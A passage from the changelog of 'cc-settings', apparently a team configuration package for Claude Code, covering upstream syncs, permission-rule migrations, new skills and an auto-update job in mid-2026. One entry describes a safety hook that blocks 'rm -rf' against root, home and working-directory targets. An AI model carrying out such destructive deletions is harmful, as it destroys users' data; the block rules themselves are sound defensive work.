  • lint-knowledge.ts imports NON_NOTE_FILES from knowledge-index.ts instead of redeclaring it (N12); inProjectSourceFiles deduped into codemap/program.ts (N16).

Dependencies:

  • @biomejs/biome 2.5.0 → 2.5.4 (N17).
  • typescript stays at 6.0.3: the audit's N3 recommendation (upgrade to 7.x) is blocked — TS 7's Go-native package drops the v6 JS compiler API that src/codemap/ consumes (ts.isArrowFunction, ts.SourceFile, …). The audit report has been corrected; revisit if codemap adopts the TS 7 API or pins the API package separately.

[12.4.1] — 2026-07-20

Upstream sync with Claude Code v2.1.215 (from v2.1.211; 2.1.213 was never released). Reference-surface only — four new env vars and one new built-in tool tracked; no behavior change to shipped config.

Adopted:

  • CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION env var (2.1.212, session-wide WebSearch cap, default 200) in manifest + docs env table.
  • CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION env var (2.1.212, per-session subagent-spawn cap, default 200, /clear resets) in manifest + docs env table — worth knowing about given cc-settings' fan-out-heavy delegation defaults.
  • CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS env var (2.1.212, MCP calls over the threshold auto-background, default 2 min, 0 disables) in manifest + docs env table.
  • CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH env var (2.1.214, OTel content-attribute truncation limit, default 60 KB) in manifest + docs env table.
  • EndConversation tool (2.1.214) in manifest knownBuiltinTools.

Skipped: the rest of 2.1.212–2.1.215 has no cc-settings contract surface. Notably: the single-segment dir/** rule-scoping fix (2.1.214) doesn't affect shipped config — no single-segment globs in config/30-permissions.json, and all hook if: conditions are Bash(...) forms; subagentStatusLine effort payload (2.1.214) — cc-settings doesn't wire a subagent statusline; SessionStart "fork" source (2.1.214) — session-start.ts doesn't branch on source; /verify + /code-review no longer auto-run natively (2.1.215) — reduces collision risk with the cc-settings /verify skill.

Files changed:

  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[12.4.0] — 2026-07-16

Upstream sync with Claude Code v2.1.211 (from v2.1.205). Headline: migrated the shipped permission rules off the newly deprecated Write(path)/Glob(path)/NotebookEdit(path) forms before they start warning at every session start.

Adopted:

  • Migrated config/30-permissions.json off Write(path)/NotebookEdit(path)/Glob(path) permission rules, which trigger a startup warning as of 2.1.210 (Edit(path)/Read(path) rules now govern those tools). Allow list: dropped Write(*), Glob(*), NotebookEdit(*) — already covered by Edit(*) and Read(*). Deny list: converted the eight Write(~/...) rules to Edit(~/...) equivalents (deduped against the two pre-existing Edit denies). This also closes audit finding M22 (Write-only deny rules were bypassable via the wildcard-allowed Edit tool).
  • Added the migrated rules to DEPRECATED_PERMISSION_PATTERNS in src/lib/settings-merge.ts so existing installs prune the stale forms on next sync instead of keeping them alive as "user extras". Exact-match patterns only — user-authored Write(...) rules are left untouched.
  • axScreenReader setting (2.1.208, screen-reader plain-text rendering) in src/schemas/settings.ts, manifest, and docs; env counterpart CLAUDE_AX_SCREEN_READER in manifest + docs env table.
  • vimInsertModeRemaps setting (2.1.208, two-key insert-mode sequences → <Esc> in vim mode) in src/schemas/settings.ts, manifest, and docs.
  • CLAUDE_CODE_PROCESS_WRAPPER env var (2.1.208, corporate launcher wrapper for self-spawns) in manifest + docs env table.
  • CLAUDE_CODE_FORWARD_SUBAGENT_TEXT env var (2.1.211, include subagent text/thinking in stream-json output; pairs with --forward-subagent-text) in manifest + docs env table.
  • request_timeout_ms per-server field in src/schemas/mcp.ts (mcpCommon) — 2.1.206 fixed it being ignored for --mcp-config/.mcp.json servers.

Skipped: the rest of 2.1.206–2.1.211 is bug fixes and TUI polish with no cc-settings contract surface (auto-mode availability on Bedrock/Vertex/Foundry was already covered by the existing disableAutoMode key; plugin ${user_config.*} shell-form rejection — cc-settings hooks already use exec form).

Files changed:

  • config/30-permissions.json
  • src/lib/settings-merge.ts
  • src/schemas/settings.ts
  • src/schemas/mcp.ts, schemas/settings.schema.json, schemas/claude-json.schema.json
  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • CHANGELOG.md

[12.3.1] — 2026-07-14

Restart-pending banner now actually clears when you restart a resumed session.

Fixed:

  • The ⟳ v<X> installed — restart Claude to apply statusline banner keyed its "what version did this session start on" record to the session id, written only on the session's first-ever render. Claude Code keeps the same session id across a resume, so a resumed conversation stayed pinned to the version it saw days ago and the banner never cleared — no matter how many restarts. session-start.ts (which fires on every launch AND resume) now refreshes that record to the currently installed version, making the banner process-scoped as intended: restart + resume clears it; an update landing mid-session still shows it.
  • Shared refreshSessionInstallMap() helper in src/lib/version-delta.ts replaces the statusline's inline map-prune logic (statusline keeps a first-render fallback write).
  • The statusline rendered entirely gray under Claude Code: lib/colors.ts gates every ANSI code on process.stdout.isTTY, and Claude Code captures the statusline through a pipe, so the whole palette resolved to empty strings (only emoji glyphs showed color). The statusline now uses its own ungated palette (same brand values, NO_COLOR still honored) — branch name, dirty marker, rate-limit %, review queue, drift badge, and restart banner all render in color.

Files changed:

  • src/lib/version-delta.ts
  • src/scripts/session-start.ts
  • src/hooks/statusline.ts
  • tests/version-drift.test.ts

[12.3.0] — 2026-07-10

Built-in daily auto-update: cc-settings can now keep itself current without anyone running /cc by hand.

Adopted:

  • setup.sh can register a macOS launchd job (src/lib/schedule.ts) that runs daily at 10:00 local time: pulls the cc-settings repo, re-runs the installer non-interactively, and sends a desktop notification on success/failure. Skips itself (and notifies) on an uncommitted checkout; no auto-rollback on failure — human-in-the-loop, matching the rest of the security posture.
  • Opt-in, ask-once-remember-forever enrollment (decideAutoUpdate()): a non-interactive run (CI, or the nightly job re-running setup.sh itself) can never silently enroll or unenroll anyone — the decision only ever changes from a real TTY prompt or an explicit --auto-update=on|off flag. Locked in by an exhaustive table test over every flag/sentinel/TTY combination (tests/schedule.test.ts).
  • Statusline ⟳ v<X> installed — restart Claude to apply banner for sessions started before an update landed.
  • --status now reports auto-update enrollment, whether the launchd plist is present, and the last nightly run's outcome.
  • New SECURITY.md section documenting the launchd job as a persistence surface outside the four existing defense layers — the plist itself is unmonitored, but what it executes (auto-update.ts) is covered by the content manifest.

Files changed:

  • src/lib/schedule.ts
  • src/scripts/auto-update.ts
  • src/lib/prompts.ts
  • src/scripts/notify.ts
  • src/lib/version-delta.ts
  • src/setup.ts
  • src/lib/status.ts
  • src/lib/status-types.ts
  • src/lib/install-display.ts
  • src/lib/install-cmds.ts
  • src/hooks/statusline.ts
  • tests/schedule.test.ts
  • tests/auto-update-script.test.ts
  • tests/install-e2e.test.ts
  • tests/setup-args.test.ts
  • tests/version-drift.test.ts
  • tests/status.test.ts
  • SECURITY.md
  • MANUAL.md

[12.2.6] — 2026-07-09

MultiEdit retirement: Claude Code removed the MultiEdit tool, and the permission rules still naming it warned matches no known tool — check for typos at every session start.

Adopted:

  • Removed all MultiEdit(...) permission rules from config/30-permissions.json (1 allow, 2 deny) and dropped MultiEdit from the config/40-hooks.json freeze-guard matcher, agents/{implementer,maestro}.md tools lists, and skills/lighthouse allowed-tools.
  • New DEPRECATED_PERMISSION_PATTERNS prune in the settings merger — the permissions counterpart of the hooks DEPRECATED_COMMAND_PATTERNS (PR #51). Without it, the union merge preserves removed rules forever as "user extras" on every existing install; with it, the next sync deletes them and reports Pruned N stale permission rule(s) naming removed tools.
  • Cross-model review round (Codex, gpt-5.6-sol) hardened the prune: deprecated rules are now filtered from BOTH inputs (a rule present in team+user, or team-only via the alwaysAccept deny path, previously survived), additionalDirectories is exempted (paths, not rules — a directory literally named MultiEdit(...) must not be deleted), and a post-prune-empty array now merges to [] instead of leaking the raw deprecated array through the strategy's object spread. Also swept the remaining stale MultiEdit mentions out of the freeze skill/hook comments, tool-cadence's file-edit map, frontmatter/hooks/settings references, and SECURITY.md.
  • Zero-warning hygiene pass: fixed the log-bash.test.ts timezone flake (bun test pins the runner to UTC while the spawned logger inherited the host zone, so date-stamped filenames disagreed for a few hours a day near UTC midnight — the test now pins the child to UTC and derives filenames from the same ymd() the logger uses), cleared all standing Biome warnings (dead CryptoHasher import in engine-pin, $schema literal keys in light-profile, template/non-null-assertion style in fingerprint tests, misplaced suppression in audit-hooks tests), and ran biome migrate for the deprecated rules.recommended config field.

Files changed:

  • config/30-permissions.json
  • config/40-hooks.json
  • agents/implementer.md
  • agents/maestro.md
  • skills/lighthouse/SKILL.md
  • skills/freeze/SKILL.md
  • src/lib/settings-merge.ts
  • src/lib/freeze.ts
  • src/hooks/freeze-guard.ts
  • src/hooks/tool-cadence.ts
  • src/scripts/freeze.ts
  • tests/settings-merge.test.ts
  • tests/log-bash.test.ts
  • tests/audit-hooks.test.ts
  • tests/hooks-fingerprint.test.ts
  • src/lib/engine-pin.ts
  • src/lib/light-profile.ts
  • biome.json
  • docs/settings-reference.md
  • docs/frontmatter-reference.md
  • docs/hooks-reference.md
  • SECURITY.md
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[12.2.5] — 2026-07-09

Laws pass: named the mental models behind three existing rules, from the team's curated laws list (clementroche/laws). No behavior changes — the rules existed; now they say why.

Adopted:

  • AGENTS.md Laziness Ladder names its rationale: the ladder is a Jevons Paradox countermeasure — cheap code generation grows code volume and maintenance debt unless deletion is the default.
  • CLAUDE-FULL.md briefing contract names the failure mode: thin subagent prompts are the curse of knowledge in action (you assume shared context; the subagent has none).
  • skills/nuclear-review/references/audit-contract.md §3 names why disprove-first and the rejected ledger exist: Brandolini's law (refutation costs 10x production, so the burden of proof sits on the finder) and survivorship bias (survivor-only reports hide what was cleared).

Considered and skipped: Moore's, Wirth's (subsumed by Jevons here), Dunning–Kruger (CONFIRMED/PLAUSIBLE already is the countermeasure), Halo, Prisoner's Dilemma, Streisand, Paris Syndrome — no enforcement mapping; decoration is context spend.

Files changed:

  • AGENTS.md
  • CLAUDE-FULL.md
  • skills/nuclear-review/references/audit-contract.md
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[12.2.4] — 2026-07-09

Ponytail-alignment pass: one missing ladder rung, one trigger collision, one prose-duplication landmine.

Adopted:

  • AGENTS.md Laziness Ladder gains rung 2 — "Does this codebase already do it? — reuse it; extend before you re-create" — the one rung of the ponytail decision ladder the standard was missing, and the one the consolidation findings below violate.
  • strategist no longer claims "should we even build this?" — that trigger phrase was listed verbatim in both strategist and plan-ceo-review, leaving the skill selector unable to disambiguate. It now belongs to plan-ceo-review alone.
  • plan-ceo-review cross-references its siblings instead of silently re-deriving them: Step 0 points open-ended product conversations to /strategist; Section 2 names itself as /oracle risks mode applied per-plan.
  • review now escalates: auth/payments/crypto/input-validation/breaking-API diffs get an explicit pointer to /verify (previously the escalation existed only if the user knew to ask).
  • Shared audit plumbing extracted to skills/nuclear-review/references/audit-contract.md: the Codex cross-model pass, team-knowledge reconciliation (reclassify-never-suppress invariant), and the finding contract (stable IDs, CONFIRMED/PLAUSIBLE, disprove-first, considered-&-rejected ledger). nuclear-review Phases 2b/2c and adversarial-audit's shared-contract section now reference it instead of restating ~40 lines each — future contract edits land in one file.

Deletions / Native-now-redundant: none upstream; ~55 lines of duplicated contract prose deleted across the two audit skills.

Files changed:

  • AGENTS.md
  • skills/strategist/SKILL.md
  • skills/plan-ceo-review/SKILL.md
  • skills/review/SKILL.md
  • skills/nuclear-review/SKILL.md
  • skills/nuclear-review/references/audit-contract.md
  • skills/adversarial-audit/SKILL.md
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[12.2.3] — 2026-07-09

Upstream sync with Claude Code v2.1.205 (fixes-only release) plus workflow features from the July 2026 session-archive audit.

Adopted:

  • Manifest bump to v2.1.205. The release is 23 bullets of bug fixes and native-only behaviors (transcript-tamper block, /doctor full checkup, background-agent status fixes) — no schema, config, or docs surface in cc-settings tracks any of them. Why this matters: an accurate manifest keeps bun run upstream:scan quiet so real drift stands out.
  • Autonomy Contract in CLAUDE-FULL.md: low-stakes agent actions (dep bumps that pass checks, post-merge branch cleanup, CI fixes on approved PRs, doc-only commits) are pre-approved — act and report, don't ask. Hard always-ask line for anything outside the darkroomengineering org. Why this matters: a session-archive audit found ~150 pure-approval turns that changed no outcomes.
  • Voice section in CLAUDE-FULL.md: the ghostwriting voice rule (plain, no em dashes, effect over mechanism) stated once instead of re-specified per session.
  • Ship land mode (skills/ship/SKILL.md): existing PR → fix CI → merge → clean branches local+remote → report. The back half ship never had.
  • New triage skill: first-pass sweep of client/unfamiliar repos with a hard read-only guardrail on external-org repos (never commit/push/PR).

Deletions / Native-now-redundant: none. Checked v2.1.205's "auto mode asks before rm -rf on unresolved variables" against src/hooks/safety-net.ts — complementary, not overlapping: safety-net hard-blocks literal root/home/cwd targets in all modes; upstream prompts on unresolved vars in auto mode only.

Files changed:

  • upstream/claude-code-manifest.json
  • CLAUDE-FULL.md
  • skills/ship/SKILL.md
  • skills/triage/SKILL.md
  • src/lib/managed-skills.ts
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[12.2.2] — 2026-07-08

Upstream sync with Claude Code v2.1.204 (from v2.1.202). Both upstream versions are bug-fixes-only — background-agent/daemon reliability, TUI polish, and a headless SessionStart hook-streaming fix — so no schema or config changes; this release is manifest/docs tracking only.

Adopted:

  • CLAUDE_CODE_DISABLE_MOUSE env var added to the manifest knownEnvVars and the docs/settings-reference.md env table. The v2.1.203 fix for attached background sessions ignoring it revealed this full mouse-capture opt-out (companion to CLAUDE_CODE_DISABLE_MOUSE_CLICKS, v2.1.195) was never tracked. Why this matters: the env table is the reference users grep when a TUI toggle misbehaves — an untracked opt-out is invisible.
  • Manifest housekeeping: advisorModel added to knownSettingsKeys. PR #126 added it to src/schemas/settings.ts but never updated the manifest, so bun run upstream:scan flagged a false-positive settings-key drift on every run. Why this matters: a scanner that always warns trains people to ignore it.

Deletions / Native-now-redundant: none. Checked the v2.1.203 permission-mode footer badge against src/hooks/statusline.ts — the statusline doesn't render permission mode, so no overlap.

Files changed:

  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[12.2.1] — 2026-07-07

Correction: the Fable 5 promo did not end July 7 — Anthropic extended it to 2026-07-12 11:59 PM PT (up to 50% of the weekly limit on fable, shared pool, no extra cost). v12.1.0 reverted the committed default to opus[1m] on the July-7 assumption; that revert stays — the committed default is deliberately opus[1m] so fresh installs never silently spend usage credits, and the merger's user-wins behavior means the repo default never reaches existing installs anyway. The free window is reached the real way: /model fable per session through July 12. Only the guidance was wrong: docs/agent-models.md header and MANUAL.md default-model note corrected from "promo ended / credit-gated as of July 7" to "free per-session through July 12, then credit-gated." No config or agent-pin change.

[12.2.0] — 2026-07-07

Three-part batch: shadcn/improve folds, first real /harvest run, and the v2.1.202 upstream sync.

Harvested from production transcripts (first live run of the /harvest skill, v12.1.0 — evidence: two programa sessions from 2026-07-06, both independently exhibiting the top procedure):

  • Verify subagent claims independently (orchestrate) — a subagent's "done" is a claim: re-run its briefed verification against the real artifact; check its capability envelope (a no-Bash implementer zeroed files instead of deleting them and still reported done); fix-solo vs re-delegate rule for breaks found during verification; SendMessage-resume cut-off agents instead of respawning.
  • When CI goes red (ship Step 9) — reproduce the exact failing guard locally against the real built artifact before re-pushing; canonical bump scripts over hand-edited version fields; never trust a watcher pipeline's exit code — read .conclusion explicitly.
  • Blame before blaming (fix Diagnose step) — commits named in a bug report are hypotheses; blame the affected file's history first (the transcript's "regression" predated all three accused commits).

Sync with Claude Code v2.1.202: docs-only. MANUAL.md /review note updated (v2.1.202 reverted native /review <pr> to fast single-pass; multi-agent review only via /code-review <level> <pr#>); manifest bumped. The new "Dynamic workflow size" /config setting is config-state, not a settings.json key — nothing for the strict schema to adopt; all other 2.1.202 entries are behavioral fixes with no cc-settings surface.

Folds from reviewing shadcn/improve (audit-to-plans skill; same intelligence-plans/cheap-execution philosophy as our quota routing). No new skill adopted — its audit surface is already owned by /adversarial-audit + /nuclear-review + /review, its executor isolation by isolation: worktree, its false-positive vetting by disprove-before-reporting. Four mechanics folded instead:

  • Plan stamps + reconcile (project, orchestrate) — plans/issues record the commit SHA they were written against; a reconcile pass re-runs done-criteria of completed tasks (a "done" that no longer verifies gets reopened), refreshes drifted file/line refs, and retires obsoleted tasks with a reason. Kills silent plan drift.
  • Expected-output done criteria + escape hatches (agents/implementer.md REQUIRED BRIEFING items 4/6, CLAUDE-FULL briefing contract) — verification commands must state what success looks like (machine-checkable, never "works correctly"); briefings state the conditions to STOP and report back instead of improvising.
  • Untrusted-diff rule (review-batch) — verbatim posture adopted: verify every hunk traces to a step in the task that produced it; reject out-of-scope changes however plausible they look.
  • Considered & rejected ledger (adversarial-audit output §6, nuclear-review output format) — disproved candidate findings get recorded with a one-line reason so future audits check the ledger instead of re-litigating.

[12.1.0] — 2026-07-07

New skill: harvest (36 → 37 skills, cap 40) — captures an unusually good workflow (from a stronger or temporary model, a one-off session, or a teammate's transcript) into a durable, reviewed artifact instead of losing it when the session or model access ends. Six phases: identify what's harvestable (repeatable procedure, not raw intelligence — "the model was smarter" is explicitly not harvestable), gather evidence via interview or transcript analysis, extract four components (procedure / failure modes / quality bar / self-tests), route to the smallest artifact that carries it (skill, rule, profile section, AGENTS.md diff, or /share-learning note), write it per the target's own conventions, then validate with 2–3 blind trap prompts (autoresearch's blind-run rule; the traps seed a later /autoresearch eval set). Hard approval gate before touching shared standards (AGENTS.md, rules/, profiles/), posting team knowledge, or committing. Explicit non-goals: no model-API sampling, no "operating manual" prose output.

Fable promo window closed on schedule: config/10-core.json session default reverted fable → opus[1m] (the revert pre-announced in 11.30.5). docs/agent-models.md header and the MANUAL.md default-model note updated to past tense; agent pins were already on the opus[1m] steady state and are unchanged.

[12.0.0] — 2026-07-06

Major cut capping the July 2026 wave: the adversarial audit fully remediated (28 findings across H/M/L severity + 6 open questions + the design-tensions epic, all closed — 12 PRs and 7 direct commits, see 11.31.x history and issues #74–#108), the adversarial-audit skill added (11.32.0), and this release's skill-library upgrades from reviewing dzhng/skills:

Folds (six mechanisms, no new skills — library stays at 36/40):

  • qa — Fresh-Eyes Gate: an unprimed subagent (images + 2x–4x crops only, no thread history or expected answer) is now mandatory before declaring a visual bug fixed; judge "less wrong", not baseline-match. (from screenshot-critique / compare-screenshots)
  • test — two new Red Flags: batches of tests written against imagined behavior before any run red, and internals-assertions instead of observable behavior at the outermost entry point. (from write-tests)
  • autoresearch — Blind-run rule (sample agent never sees the checklist, judge never sees the transcript — leaking either teaches to the test) + "state the bar, not a parts list" checklist authoring. (from eval-skills)
  • plan-feature — discovery interview reframed as a four-quadrant unknowns walk; new Phase 3 "Close" that rewrites a shipped PRD from build-plan into durable rationale, recording divergences from plan. (from explore-unknowns / close-spec)
  • orchestrate — Maintenance Checkpoints: a phase is a commit checkpoint, not a stopping point; periodic passes prune plan bloat and refresh handoffs before drift accumulates. (from implement-spec)
  • docs/skill-authoring.md — two new pitfalls: mirroring the code instead of stating principles (the DT5 lesson), and orphan sibling skills without "Pairs with" cross-links. (from write-docs / write-skills)

Also: argument-hints added to all eight multi-mode skills (2850437). Not adopted from dzhng/skills: standalone spec skills (overlap /build+/plan-feature+/orchestrate), claude/preview-shots/implement-spec-with-codex (covered natively); graphics/renderer flagged for a future profiles/webgl pass. Entire release cross-reviewed by Codex (see commit body).

[11.32.0] — 2026-07-06

New skill: adversarial-audit (35 → 36 skills, cap 40) — whole-repo honesty audits in three modes, adapted from the fable audit goal-spec trio (gist diegomarino/04970a2b8d9cc419de3ba05b9a03db5a). Codebase mode is the spec that produced the July 2026 cc-settings audit (issues #74–#108: 28 findings, all confirmed and fixed); docs mode audits documentation as a product (drift vs code, inverted pyramid, sizing, diagram backlog); process mode walks documented journeys empirically in throwaway workspaces and maps the real state machine (generalized from the gist's project-specific spec). All modes share the report contract that made the July remediation executable: stable finding IDs, CONFIRMED/PLAUSIBLE status, concrete failure scenarios, disprove-before-reporting, design tensions vs line findings, optional GitHub-issue filing. Includes the gated fail-open Codex cross-model pass and team-knowledge reconciliation (reclassify, never delete), mirroring nuclear-review Phases 2b/2c. The gist's launcher file was not adopted — the skill system already does its job (distribute the spec, have the agent Read it).

Folded into nuclear-review: the same three report mechanics (stable IDs, CONFIRMED/PLAUSIBLE, disprove-first) in its Output Format, and a cross-reference to the new sibling in "When to use vs other review skills" — nuclear-review asks "should this code exist?", adversarial-audit asks "does it do what it promises?".

[11.31.0] — 2026-07-06

Sync with Claude Code v2.1.201 (spans v2.1.198–201). One schema adoption: the new "manual" permission mode (v2.1.200). Also documents the background-agent notification types on the Notification hook and the v2.1.199 retry env-var semantics.

Adopted:

  • "manual" permission mode (v2.1.200) — upstream renamed the "default" permission mode to "Manual" across the CLI, --help, VS Code, and JetBrains; --permission-mode manual and "defaultMode": "manual" are accepted alongside default. Added "manual" to the strict PermissionMode enum in src/schemas/permissions.ts (which agents/*.md frontmatter and profiles inherit), knownPermissionModes in the manifest, and the mode lists in docs/frontmatter-reference.md and docs/profiles.md. Without this, a settings.json or agent using the new alias would fail strict parse.
  • Background agent notifications (v2.1.198) — sessions in claude agents that need input or finish now fire the Notification hook with types agent_needs_input / agent_completed. Added a "Matcher Values for Notification" section to docs/hooks-reference.md. cc-settings' async notify.ts Notification hook runs with no matcher, so it already picks these up — desktop notifications for background agents work out of the box; no wiring change needed.
  • Retry env-var semantics (v2.1.199) — CLAUDE_CODE_RETRY_WATCHDOG now raises the default retry count for non-capacity transient errors to 300 and lifts the 15 cap on CLAUDE_CODE_MAX_RETRIES. Updated both rows in docs/settings-reference.md; both vars were already tracked in the manifest, so no manifest key changes.

Deletions / Native-now-redundant:

  • None this cycle.

Triage notes:

  • Claude in Chrome GA, the /dataviz native skill, and the Gateway anthropicAws upstream provider (v2.1.198) touch product surfaces cc-settings doesn't configure — no settings key, schema, or doc table tracks gateway providers or native skill rosters.
  • The built-in Explore agent inheriting the session model (capped at opus) and subagents inheriting extended-thinking config are native behavior improvements; cc-settings' agent frontmatter and delegation docs make no contrary claims, so nothing to update.
  • Removal of the /agents wizard doesn't affect cc-settings docs — they reference the agents/*.md directory workflow, which is exactly what upstream now recommends.
  • Background agents auto-committing and opening draft PRs from worktrees, plus the remaining v2.1.198 entries, are bug fixes and UX/runtime tweaks (retry/backoff on transient network errors, task-panel stuck states, agent-teams failure reporting, /diff refresh, fullscreen rendering, .claude/rules/ symlink resolution, plan-mode read-only auto-allow, highlight.js 11) — none touch cc-settings surface. The symlink rules fix benefits rules/ users natively.
  • v2.1.199 is otherwise entirely bug fixes and UX polish (stacked slash-skill loading, SSL fail-fast guidance, partial-stream preservation, subagent error propagation, background-agent daemon stability on Linux/macOS/SSH, hook stderr surfaced on exit 2, config-reset backup, plan-mode browser-tool prompting, automatic 429 backoff for subscribers) — none touch cc-settings schemas, config, hooks, or agent frontmatter.
  • v2.1.200's AskUserQuestion dialogs no longer auto-continuing is a behavior default toggled via /config; the changelog names no settings key, so nothing to track yet. The disabledMcpServers/enabledMcpServers crash fix and the remaining v2.1.200 entries are background-agent daemon/roster fixes, screen-reader and tmux rendering improvements, and install-script messaging — no cc-settings surface.
  • v2.1.201's single entry (Sonnet 5 sessions dropping the mid-conversation system role for harness reminders) is native runtime behavior — nothing to adopt or document.

Files changed:

  • src/schemas/permissions.ts
  • upstream/claude-code-manifest.json
  • docs/hooks-reference.md
  • docs/settings-reference.md
  • docs/frontmatter-reference.md
  • docs/profiles.md
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[11.30.5] — 2026-07-05

Temporary default-model swap — Fable 5 promo window (#72)

Fable 5 redeployed 2026-07-01 as a promo-then-credit-gated tier. config/10-core.json's session default ("model") switched opus[1m] → fable for the promo window (commit 795fa1b), so fresh installs and re-installs during this window ride Fable at no extra cost. This is a temporary swap, not a reversal of the 11.24.0 suspension decision: Fable is scheduled to revert back to opus[1m] on 2026-07-07 once the promo window ends and credit-gating kicks in.

  • config/10-core.json: "model" opus[1m] → fable (temporary, reverts 2026-07-07).
  • Docs intentionally unchanged: README.md, MANUAL.md, and docs/*.md continue to state opus[1m] as the standing/decision-tier default — the promo swap is a short-lived config value, not a documented default change. Teammates who want Fable for the promo window without waiting on the merger can run /model fable per session.

Files changed:

  • config/10-core.json
  • CHANGELOG.md

[11.30.4] — 2026-07-01

Sync with Claude Code v2.1.197 (spans v2.1.196–197). Tracks one new environment variable in the manifest and docs; no schema, hook, or wiring changes.

Adopted:

  • CLAUDE_ENABLE_STREAM_WATCHDOG (v2.1.196) — added to upstream/claude-code-manifest.json knownEnvVars and the env table in docs/settings-reference.md. The streaming idle watchdog is now on by default for all providers: it aborts and retries a response stream that produces no events for 5 minutes. Set =0 to disable. Distinct from the already-tracked CLAUDE_CODE_RETRY_WATCHDOG (retry cap, not stream idleness); relevant to cc-settings' unattended-session and /loop guidance. Manifest-tracked only (env vars affecting CC itself are not part of the settings.json zod schema).

Deletions / Native-now-redundant:

  • None this cycle.

Triage notes:

  • Claude Sonnet 5 becoming the default model in Claude Code with a native 1M context and promotional $2/$10-per-Mtok pricing through Aug 31 (v2.1.197) is already reflected — commit 4c1acff landed the Sonnet 5 launch across the model docs. The promo pricing is transient (expires 2026-08-31) and deliberately not encoded. cc-settings pins its own default (opus[1m]), so the upstream default change has no effect on this install.
  • /code-review merging five cleanup finders into one (~25% token cut, v2.1.196) touches native command internals; cc-settings documents no finder count, so nothing to update.
  • The MCP list/get hardening (no longer spawns .mcp.json servers a repo self-approved via committed .claude/settings.json; untrusted workspaces show ⏸ Pending approval, v2.1.196) is a native security fix that complements — but requires no change to — cc-settings' supply-chain hook defense.
  • Remaining v2.1.196 entries are bug fixes and UX/runtime tweaks (background-session/agent resilience, /deep-research verifier-status labeling, MCP OAuth scope negotiation, /context on Bedrock, PowerShell git exit-1 parity, voice dictation, rewind-menu regression, agents-view navigation, per-frame render) — none touch cc-settings surface.

Files changed:

  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[11.30.3] — 2026-06-29

Sync with Claude Code v2.1.195 (v2.1.194 shipped with no changelog entries). Tracks one new environment variable in the manifest and docs; no schema, hook, or wiring changes.

Adopted:

  • CLAUDE_CODE_DISABLE_MOUSE_CLICKS (v2.1.195) — added to upstream/claude-code-manifest.json knownEnvVars and the env table in docs/settings-reference.md. Disables mouse click/drag/hover in the fullscreen renderer while keeping wheel scroll — a sibling of the already-tracked CLAUDE_CODE_DISABLE_ALTERNATE_SCREEN, useful where mouse capture interferes with native terminal text selection. Manifest-tracked only (env vars affecting CC itself are not part of the settings.json zod schema).

Deletions / Native-now-redundant:

  • None this cycle.

Triage notes:

  • The hyphenated hook-matcher exact-match fix (v2.1.195 — matchers like code-reviewer / mcp__brave-search previously substring-matched, now exact-match) is verified-safe for cc-settings: every hook matcher in config/40-hooks.json is a non-hyphenated builtin tool name (Bash, Edit, Write|Edit, Edit|Write|MultiEdit), and no hyphenated MCP/agent matchers exist in config/ or agents/. Zero impact.
  • Remaining entries are voice-dictation fixes (macOS silence on input-device change, spaceless-language auto-submit, Linux SoX detection), plugin-loader fixes (project-settings consent, /plugin name mismatch), and background-task/daemon/Remote-session UX and bug fixes — none touch cc-settings surface.

Files changed:

  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[11.30.2] — 2026-06-26

Sync with Claude Code v2.1.193 (v2.1.192 was skipped upstream). Tracks two new environment variables in the manifest and docs; no schema, hook, or wiring changes.

Adopted:

  • OTEL_LOG_ASSISTANT_RESPONSES (v2.1.193) — added to upstream/claude-code-manifest.json knownEnvVars and the env table in docs/settings-reference.md. Controls whether the new claude_code.assistant_response OTEL log event carries the model's response text. Privacy gotcha worth surfacing: when the var is unset it inherits OTEL_LOG_USER_PROMPTS, so OTEL deployments already logging prompt content begin logging response content on upgrade — set =0 to keep prompts-only.
  • CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP (v2.1.193) — added to manifest knownEnvVars and the docs env table. Opt-out for the new automatic memory-pressure reaping of idle background shell commands.

Deletions / Native-now-redundant:

  • None this cycle.

Triage notes:

  • autoMode.classifyAllShell (v2.1.193) needs no change — the settings schema already accepts it via autoMode: z.looseObject({}) (shape intentionally opaque) and the manifest already tracks the top-level autoMode key.
  • Remaining entries are native client UX (auto-mode denial reasons, bash-mode path autocomplete, MCP-auth startup notice, /add-dir wording, plugin auto-rename) and bug fixes (/model stale-state after /login, backgrounding cancel/carry-over, pinned-agent re-prompt, phantom resumed subagent, agent-panel siblings, MCP headersHelper 401/403 reconnect) with no cc-settings surface.

Files changed:

  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • src/setup.ts
  • CHANGELOG.md

[11.30.1] — 2026-06-25

Sync with Claude Code v2.1.191. Pure upstream bug-fix and performance release — no new settings keys, hook events, MCP fields, env vars, or agent frontmatter. Manifest bump only; no cc-settings code touched.

Adopted:

  • None this cycle.

Deletions / Native-now-redundant:

  • None this cycle.

Triage notes:

  • The comma-separated hook-matcher fix ("Bash,PowerShell" silently never firing) does not apply — cc-settings uses regex alternation (Edit|Write|MultiEdit) throughout config/40-hooks.json, which was never affected.
  • Remaining entries are native TUI/CLI/MCP fixes (/rewind, scroll/CPU/memory perf, background-agent stop permanence, MCP retry/backoff & OAuth, forceRemoteSettingsRefresh via MDM) with no cc-settings surface.

Files changed:

  • upstream/claude-code-manifest.json
  • src/setup.ts
  • .claude-plugin/plugin.json
  • CHANGELOG.md

[11.30.0] — 2026-06-24

